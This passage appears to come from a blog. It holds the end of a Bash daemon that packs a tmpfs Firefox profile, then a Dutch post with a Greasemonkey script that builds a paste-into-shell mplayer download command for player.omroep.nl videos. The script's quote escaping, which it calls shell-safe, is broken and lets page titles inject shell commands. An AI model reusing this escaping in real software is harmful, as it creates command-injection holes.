    if [ -z "${PACKLOCK}" ];then packup; fi
    exit
  fi
}
 
# For cleaning up 
trap terminate SIGINT SIGTERM
 
# Suicide with goodbye note. If gxmessage is installed, use that.
seppuku(){
  echo "${1}" 1>&2
  which gxmessage > /dev/null 2>&1 && gxmessage -nofocus -title "$(basename ${0})" "${1}" || xmessage "${1}"
  exit 2
}
 
# Checks and setup
test -d "${PFDIR}" || seppuku "Profile dir doesn't exist"
if [ -z "$(mount -t tmpfs | grep -F "${TGT}" )" ]
then
    mount "${PFDIR}/${PROFILE}" || seppuku "Mounting of profile's tmpfs failed. Check /etc/fstab and the output of 'dmesg'."
fi
test -f "${TGT}/.unpacked" || tar -xpf "${PFDIR}/${PROFILE}.packed.tar" -C "${PFDIR}" \
&& touch "${TGT}/.unpacked" || seppuku "Error unpacking the profile tarball. You might want to use the backup tarball located in ${PFDIR}."
 
# This tars up the profile
packup(){
  PACKLOCK="locked"  
  cd "${PFDIR}"
  tar --exclude '.unpacked' -cpf "${PFDIR}/${PROFILE}.packed.tmp.tar" "${PROFILE}"
  mv "${PFDIR}/${PROFILE}.packed.tar" "${PFDIR}/${PROFILE}.packed.tar.old"
  mv "${PFDIR}/${PROFILE}.packed.tmp.tar" "${PFDIR}/${PROFILE}.packed.tar"
  PACKLOCK=""
}
 
# No daemon, just packing
if [ "$(basename ${0})" == "packfox" ]; then packup; fi
 
# The daemon loop
if [ "$(basename ${0})" == "packfox-daemon" ]
then
  which inotifywait >/dev/null 2>&1 || seppuku " You'll need the 'inotify-tools' package for this script. Get it at http://inotify-tools.sourceforge.net or from your distro's repos".
  while true
    do inotifywait -q -q -t ${TMOUT} -e modify -e move -e create -e delete --exclude "${IEXCL}" \
    -r "${PFDIR}/${PROFILE}" &
    INOTYPID=${!}
    wait ${INOTYPID}; INOTIFYPID=""
 
    packup
 
    sleep ${TMMIN} &
    SLEEPPID=${!}
    wait ${SLEEPPID}; SLEEPPID=""
    done
  exit
fi

[Update @20090607: De code moet regelmatig bijgewerkt worden om veranderingen op player.omroep.nl te reflecteren. De laatste versie kun je altijd downloaden van de officiële pagina, daar kun je ook pingen (via een issue) als het script aangepast moet worden aan een nieuwe versie van player.omroep.nl (m.a.w., als het niet meer werkt).]

Ik heb een Greasemonkey-scriptje geschreven dat op player.omroep.nl een dialoogje geeft waarvan je de inhoud direct in een shell (Bash-shell, wellicht ook de standaard Bourne-shell) kan pasten. Je krijgt iets dergelijks voorgeschoteld:

export TIEFDIR="${PWD}"; export TEMPDIR=$(mktemp -d); cd ${TEMPDIR} && mplayer -dumpstream -user-agent 'Windows-Media-Player/11.0.6001.7000' 'http://cgi.omroep.nl/legacy/player?/ceres/vara/rest/2009/VARA_101192917/bb.20090424.asf' && mv stream.dump ${TIEFDIR}/'De Wereld Draait Door - 25-04-2009.wmv' && cd - && rmdir ${TEMPDIR}

Dat maakt het downloaden van videomateriaal van uitzendinggemist.nl een stukje makkelijker. Natuurlijk moet je wel Firefox + Greasemonkey-extensie, een shell en MPlayer hebben, maar wie heeft dat nou niet ;-)
Hier kun je de source lezen en als je Greasemonkey hebt geïnstalleerd kun je hier op “Install” klikken.
Surf vervolgens naar uitzendinggemist.nl en fair-use er op los.
En hier natuurlijk het leukste stuk van de source. Ik schrijf haast nooit Javascript dus opmerkingen/aanvullingen zijn zeer welkom.

var playert = document.getElementById("player");
// Listener for node insertions (generated by omroep.nl's javascript)
if (playert) playert.addEventListener("DOMNodeInserted", genAlert, true);
 
function genAlert()
  {
  var playert = document.getElementById("player");
  var embedelement = document.getElementById('MediaPlayer');
  if (embedelement)
  //The embed element got inserted - now we have all required parameters for dumping
    {
    var pastetext;
    var source = embedelement.getAttribute("src").replace("'","\\'"); //These URL's shouldn't have "'" in them but we escape them just to be sure.
    //Create a copy of the title & date info so we can use DOM functions to separate the two
    var worktitle = document.importNode(playert.getElementsByTagName("h3")[0],true);
    var worktitledatespan = worktitle.getElementsByTagName("span")[0];
    var datum = worktitledatespan.innerHTML.replace("'","\\'"); //Escape ' to make shell-safe
    if (!datum) datum = 'nodate';
    worktitle.removeChild(worktitledatespan);
    var titel = worktitle.innerHTML.replace("'","\\'"); //Escape ' to make shell-safe
    if (titel && source)
      {
      playert.removeEventListener("DOMNodeInserted", genAlert, true);
      pastetext = 'export TIEFDIR="${PWD}"; export TEMPDIR=$(mktemp -d); cd ${TEMPDIR} && '
      pastetext+= "mplayer -dumpstream -user-agent 'Windows-Media-Player/11.0.6001.7000' '"+source+"' && ";
      pastetext+= 'mv stream.dump ${TIEFDIR}/\''+titel+' - '+datum+'.wmv\' && cd - && rmdir ${TEMPDIR}';
      alert(pastetext);
      }
    }
  }